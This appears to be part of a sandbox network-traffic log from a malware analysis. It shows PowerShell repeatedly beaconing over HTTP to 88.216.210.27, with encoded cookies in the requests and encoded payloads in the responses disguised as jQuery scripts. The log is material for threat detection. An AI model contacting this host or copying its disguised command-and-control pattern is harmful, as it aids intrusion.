Apr 9, 2023 02:59:23.741437912 CEST	505	IN	Data Raw: 50 46 42 50 49 48 41 4c 4b 50 4a 50 48 4a 41 4a 50 42 50 41 45 42 41 43 50 50 49 41 46 46 45 46 48 4f 46 45 4d 45 46 4b 4f 4f 44 42 47 42 4a 50 43 4d 41 46 47 44 42 42 42 45 4d 43 47 4e 44 4f 44 4f 46 45 4c 4e 4a 43 4a 48 48 46 44 4e 4b 43 49 45 Data Ascii: PFBPIHALKPJPHJAJPBPAEBACPPIAFFEFHOFEMEFKOODBGBJPCMAFGDBBBEMCGNDODOFELNJCJHHFDNKCIEIABJHINHFKOELCDNILKIAMDLANKPHJBBKJHODBINAKCNEBEKNAJLOEEODOKMPJAEKIIMDFCFNMPBHILCJFPHIFGNDLEDBBLCIEJEJMDAALNEDA/*! jQuery v3.4.1 \| (c) JS Foundation and other con

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.5	49788	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:24.138170958 CEST	506	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=zuiUZJUr9CNEHztl9z56BDSUFw-jr9Q-Wac9qWHEDWPt3-MU3HMSczbi6b5yFXQLJoGRac3ESVoNkZM52ES4P2g2WIGkVYHaRPLIPJK_CwJa9JI__k44EYyQaoHmmNJOCm4X74ZG_D98ErCQwwRQv11mFWIc-O-yDvDlSIM6ld373IzJ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:24.286942959 CEST	507	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:24 GMT Server: CloudFront Content-Length: 2324 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:24.286989927 CEST	508	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:24.287022114 CEST	509	IN	Data Raw: 4f 46 49 4b 48 49 4f 4d 44 44 48 46 4c 4d 4f 50 45 46 4b 4d 49 47 45 44 41 4f 42 4f 42 48 47 4a 4d 4b 50 48 4b 45 4c 47 4a 4e 46 4d 4e 4e 4d 4b 4e 49 4e 4c 4f 46 44 50 47 42 46 4c 49 4d 4e 44 44 44 50 50 4e 43 4e 48 4a 4e 4d 46 43 49 44 49 49 4a Data Ascii: OFIKHIOMDDHFLMOPEFKMIGEDAOBOBHGJMKPHKELGJNFMNNMKNINLOFDPGBFLIMNDDDPPNCNHJNMFCIDIIJEKFBCFOOLKAMLNDJEKIPNNDGAMOCIMHDDGOCJIAIOOECDB/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict'

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.5	49789	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:25.085578918 CEST	510	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=a8oB5TAJYaLhPa7kUhzvhZG2go4GjUG__IWoKMTmmOJI_XaVeVGH8pPAfD_XN-GKg6ME6Gjm3Nuoswa4fWYtvs0UzQABdxRb4dBdvTednoP_1ge-W2ytkCmy_wBDukfPr0yCbiNkab7ZMCURZibFPvhEgOO52nozq9JwySYYAFxe_hlI User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:25.248236895 CEST	511	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:25 GMT Server: CloudFront Content-Length: 2356 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:25.248282909 CEST	512	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:25.248320103 CEST	513	IN	Data Raw: 50 41 4c 4e 4a 42 43 43 46 4a 4a 4a 42 4f 42 41 4d 47 43 4a 4e 47 47 47 48 4b 42 50 4d 49 45 47 4b 4c 4f 46 48 41 4a 4c 47 4e 49 47 43 4f 46 4a 43 41 4b 4d 49 41 50 50 43 50 4e 46 4f 46 4a 50 4d 4b 4e 46 44 44 4b 4b 4e 41 4d 41 4c 4c 42 47 44 45 Data Ascii: PALNJBCCFJJJBOBAMGCJNGGGHKBPMIEGKLOFHAJLGNIGCOFJCAKMIAPPCPNFOFJPMKNFDDKKNAMALLBGDEACCLAMIIPFEKDIDHODCGBPOAGJKNILCOPABFNABKPFBPMKDAGNEOEGHMEKFEEGPONIOHPJHPJJGAND/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.5	49790	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:25.513205051 CEST	514	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=Yu4k8zktRLToGYvyWzjKk5iSp5gPqWSp9aGNPs3CvfRB2VODcHWi5JrkWSneE8Scioch_mHC-c2hlyOudEIIqMQw6BYIUzFN6PR4qz65u5X28iKoUkiIhiCW2hZKnmLZpmineCpATKjQFAAHbwLgKPFgpfWw_l8lovZV3y88JUpX2jxe User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:25.663382053 CEST	514	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:25 GMT Server: CloudFront Content-Length: 2420 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:25.663428068 CEST	516	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:25.663459063 CEST	517	IN	Data Raw: 48 4a 4d 49 48 4f 4e 41 46 49 4f 4f 4a 44 4d 4e 47 4b 46 44 4c 41 4c 4d 4e 49 4a 48 50 48 43 4c 42 41 47 41 47 41 49 4c 47 4e 41 49 4e 48 4a 4d 4c 47 43 4a 48 43 4b 43 50 44 4f 43 4d 43 4c 4f 41 43 43 50 44 4b 48 43 45 45 4b 44 4a 4b 4a 42 4c 45 Data Ascii: HJMIHONAFIOOJDMNGKFDLALMNIJHPHCLBAGAGAILGNAINHJMLGCJHCKCPDOCMCLOACCPDKHCEEKDJKJBLEHAGPGELMJBONMCCMJEFBIDGGPIFIPLOKPLABDHBGIOLLEKKBABDCFBLCMJCOGBLEFJKGHHMKIJOHKBNMMALCPCBDKINHEHLEAJNOIJHGAFGPDFLKMEAACBCLOJHHMIAELGDAFAPNOMDNPH/*! jQuery v3.4.1 \|

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.5	49791	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:25.977729082 CEST	518	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=zemFOpYq5X1HHio79D9rWjeVBlGgrsVgWqYs92LFHD3u3vJK33IDLTXj-OBxFGVVJYCAN87FWAQOkIJn20WpYWs3Sd-nVJCER_PZYpG-GlxZ9YNh_U8pT4-Re9_lmcMQCW8GsYVH7WF_E6HOwAVB4V5nBDwf-f7sDfH0FoA7hIP43Z2X User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:26.131468058 CEST	518	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:26 GMT Server: CloudFront Content-Length: 2388 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:26.131534100 CEST	519	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:26.131565094 CEST	521	IN	Data Raw: 4c 4a 43 4b 48 43 4f 4a 44 4f 47 47 4f 4b 43 46 4f 4e 4e 43 47 48 45 48 4a 46 42 4f 4a 4d 46 47 4b 4b 4b 4c 41 4c 4f 47 4b 4b 50 42 42 49 4b 4f 46 44 47 4e 45 4e 4e 4c 4a 4a 46 44 45 45 4c 47 44 43 41 48 4c 45 42 4e 44 44 4c 50 47 4c 49 4f 45 43 Data Ascii: LJCKHCOJDOGGOKCFONNCGHEHJFBOJMFGKKKLALOGKKPBBIKOFDGNENNLJJFDEELGDCAHLEBNDDLPGLIOECMCFHKDHGMJJJJDGLGBGDKCOIPKNEDBLNMIPCGOLGLNNALOHOAIOPKPKBEJEJDOANKGAIAJNJNHNMNOMALFDDJAOKICGJIABJFNPLFLBFNJIFOF/*! jQuery v3.4.1 \| (c) JS Foundation and other con

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.5	49792	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:26.389211893 CEST	522	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=9Krf869pv7R-XXDyzXwxkw7WXJiZ7Z-pY-V2PluGRvTXnaiD5jFZ5AygoilIVz-cHMPa_veGAs0309iu4gbzqFJ0ExaeF8pNfrCDq6j9QJVgttmoxAxzhrbSIRbc2pnZMCxceLwEt6hGUPsH-UYbKGckXvUmuqQlNLKu37l43krBnsde User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:26.539433956 CEST	522	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:26 GMT Server: CloudFront Content-Length: 2420 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:26.539473057 CEST	523	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:26.539494991 CEST	524	IN	Data Raw: 46 4d 4b 46 46 42 4b 4a 43 4b 48 47 45 46 50 4b 46 44 50 42 4c 4e 4f 46 45 4c 45 42 45 4b 4a 4d 43 46 50 45 46 4d 49 4e 41 42 48 42 45 44 4c 4e 4d 4a 4d 42 43 48 43 45 4c 4a 41 45 46 4a 45 50 50 43 49 42 4a 4e 48 4a 44 48 4c 4a 48 47 4b 46 49 43 Data Ascii: FMKFFBKJCKHGEFPKFDPBLNOFELEBEKJMCFPEFMINABHBEDLNMJMBCHCELJAEFJEPPCIBJNHJDHLJHGKFICLPPFFLLKJNKGPPDJFPJCCOFHAGAEJKPLOACDJCCLKEHDBEEMHPNHLHKHEODEFEJODEGENNKHMGBMNHHJMFPBCJCOKMEPGLLLADCGOADGKHDCBGJHHECHMGGOFMIBPIPGCOEDMEOKBLKFDP/*! jQuery v3.4.1 \|

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.5	49793	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:26.828990936 CEST	525	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=6eIBprIhYeFjFa6n0DTvxhOegs2EpUH8fq2oa0bOmKHK1XbW-3mHsRHofHxVH-HJAYsEq-rO3Jgqmwb7_04t_U88zUODXxQYY_hd_rW1nsB9_gf92USt06ua_0PBkkeMLWSCLaFMaf1bGCVS5A7FfXpsgKA78npwKfpwiqQwAB_c1hkL User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:26.977670908 CEST	526	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:26 GMT Server: CloudFront Content-Length: 2420 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:26.977704048 CEST	527	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:26.977726936 CEST	528	IN	Data Raw: 4a 48 4f 50 4e 4b 4f 43 47 41 47 43 42 50 46 46 4a 50 44 49 4f 46 4d 48 49 4d 46 44 4b 48 4d 48 49 48 46 4f 4a 4e 46 45 43 49 4e 4b 47 42 45 44 49 4c 4c 4c 4f 48 4a 4f 41 48 50 48 4b 50 43 41 4e 42 49 4d 4d 4e 50 44 47 4f 41 47 45 48 4d 4b 4a 47 Data Ascii: JHOPNKOCGAGCBPFFJPDIOFMHIMFDKHMHIHFOJNFECINKGBEDILLLOHJOAHPHKPCANBIMMNPDGOAGEHMKJGJNHIADIDCIMLOOBBANPOLIHFOHJGDHLJIKIIJEIEHNLDKBKHNAFOHOBPPBCAMPCIMKCIGDEBHIMNDHPHPFPDHLJBFHDJKGLNLLJLNMNKOGBGPPANBPEGIHAJKEKEOOBMHELAHDGOKIGPJC/*! jQuery v3.4.1 \|

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.5	49695	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:43.309974909 CEST	147	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=NubnFm0lh1G8EUgXDzAJdsyaZH1boadMoalO25nKfhEV0ZBmJH1hAc7smsyKGwd53o_iGzXKOij1n-BLIErLTZA4K_NcW_KovPy7TmqxeHCi-uFNBkBLY3SeGfMelqE88mBknX5Ij02EHMPiOwojzaVoZhDk9pzA9v6WOns05q8D0v-7 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:43.471791029 CEST	147	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:43 GMT Server: CloudFront Content-Length: 2420 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:43.471823931 CEST	149	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:43.471847057 CEST	150	IN	Data Raw: 44 50 45 4c 42 43 43 42 48 4a 4a 4f 42 43 4a 48 45 4d 4e 45 4e 49 44 43 4d 4e 43 48 4c 46 4c 4e 4a 50 43 4a 46 4a 42 44 50 4f 47 4d 42 49 4f 4e 4c 4a 48 50 45 4a 47 50 4d 4e 49 48 4f 45 50 4d 4d 47 43 45 44 41 4d 4c 42 4d 50 43 44 48 4b 42 42 4b Data Ascii: DPELBCCBHJJOBCJHEMNENIDCMNCHLFLNJPCJFJBDPOGMBIONLJHPEJGPMNIHOEPMMGCEDAMLBMPCDHKBBKBAOABHOFFHIJLIINIPKBGGDMKEFBCMHEPCOBKFINPFPJMFJNPACGPBHFMBGDEPDEEGHPCALCIANMPJIJONLGEPKPMGFAPBPLMKGNOJNKOHLBFAEEOAKCMBCOPEGPGJGEECAMMPJLJKDCID/*! jQuery v3.4.1 \|

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.5	49794	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:27.233006001 CEST	529	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=xNo1Tp8ZVQlOLZpP_QzbLj6mtiWpnXUUU5Wcg2v2rEnn7UI-1kGzWTzQSJR4J9UhLLMwQ8f26HAHozIT0nYZFWIE-auuZyDwTsBpFpiNqihQxjMV9HyZO4aiy6vsqnNkAFy2xYx0XRV2IBG6yTbxlVdUtEgWyk6YBMJEYokINPfx7i3j User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:27.381827116 CEST	530	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:27 GMT Server: CloudFront Content-Length: 2324 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:27.381863117 CEST	531	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:27.381894112 CEST	532	IN	Data Raw: 49 49 46 4b 47 47 4e 4a 4e 4a 49 4b 43 4d 46 4a 50 48 47 4e 44 48 43 47 4b 4c 4d 4e 46 4d 47 42 4a 44 4e 45 4b 4b 4d 4a 47 41 45 41 47 49 4f 46 49 48 4a 43 46 4b 4b 47 4e 50 50 4e 41 47 4a 4d 49 44 49 41 49 4c 4f 45 4f 49 46 46 4a 4b 43 42 49 43 Data Ascii: IIFKGGNJNJIKCMFJPHGNDHCGKLMNFMGBJDNEKKMJGAEAGIOFIHJCFKKGNPPNAGJMIDIAILOEOIFFJKCBICNLEMECJOCHMKCMGEEKLNPAJMDJEIMGAJJCDEHMCIINNPCL/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict'

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.5	49795	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:27.642163992 CEST	533	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=Pcs_jmYIX8m3PJCPBB3R7se3vOVQjH_UqoSWQ5Lnpoke_Ej-L1C5mcXBQlSBNt_h1aI6gz7n4rD-sjjTK2cT1ZsV82tXdiowt9Fj1mGcoOip1znVDW2T-3-zwWsVu3mk-U28BXVlV9WPMRt6MCf7Va5Fvojv20RY_dNOonAZPjcI_ycj User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:27.790888071 CEST	533	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:27 GMT Server: CloudFront Content-Length: 2580 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:27.790923119 CEST	535	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:27.790944099 CEST	536	IN	Data Raw: 44 46 45 48 50 4e 4f 4f 4a 41 4c 4b 4c 45 46 46 41 44 4b 4b 48 48 43 43 43 45 43 45 44 50 4d 49 49 48 4b 47 47 4e 47 42 46 4e 44 49 48 41 4e 46 45 4e 4c 43 4e 49 4e 43 4f 48 43 43 41 43 47 4a 48 4b 4c 48 49 4d 49 4a 50 4e 4b 4a 4f 4a 44 44 4c 43 Data Ascii: DFEHPNOOJALKLEFFADKKHHCCCECEDPMIIHKGGNGBFNDIHANFENLCNINCOHCCACGJHKLHIMIJPNKJOJDDLCGDENHJCLMBENOLDMFOJIGKEMOCOLKEDFEMMHHOEJFLPAFLGJMGAKNGDBGPADCMAGIGGNHINHJGJCBADFJFLHMALGLOHIJHPMJHNAPHBECEBEBMEPNMEADHKPJODJJCONDNLAGJAEMHENMKIHKAKELNMLCMOMGMGEH
Apr 9, 2023 02:59:27.790966034 CEST	536	IN	Data Raw: 65 6e 74 4e 6f 64 65 3b Data Ascii: entNode;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.5	49796	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:28.046232939 CEST	537	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=WXjvawK7jyzTj0BqYK4BC6MEbAA0P68xzjdGpvZUdmx6T5gbS-NpfKFykrHlhQ8EsRHqZlpUMlWaAeg2T9TDMP-mI44zxfrV02KzMwUvcA3NZOkwad5DHhsAEY5xCKlBnf5s4BHWhzDrgsufVJQrsMr2bm2LaJS9mWCeRxSq7tJsTPfG User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:28.196156025 CEST	537	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:28 GMT Server: CloudFront Content-Length: 2644 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:28.196197033 CEST	539	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
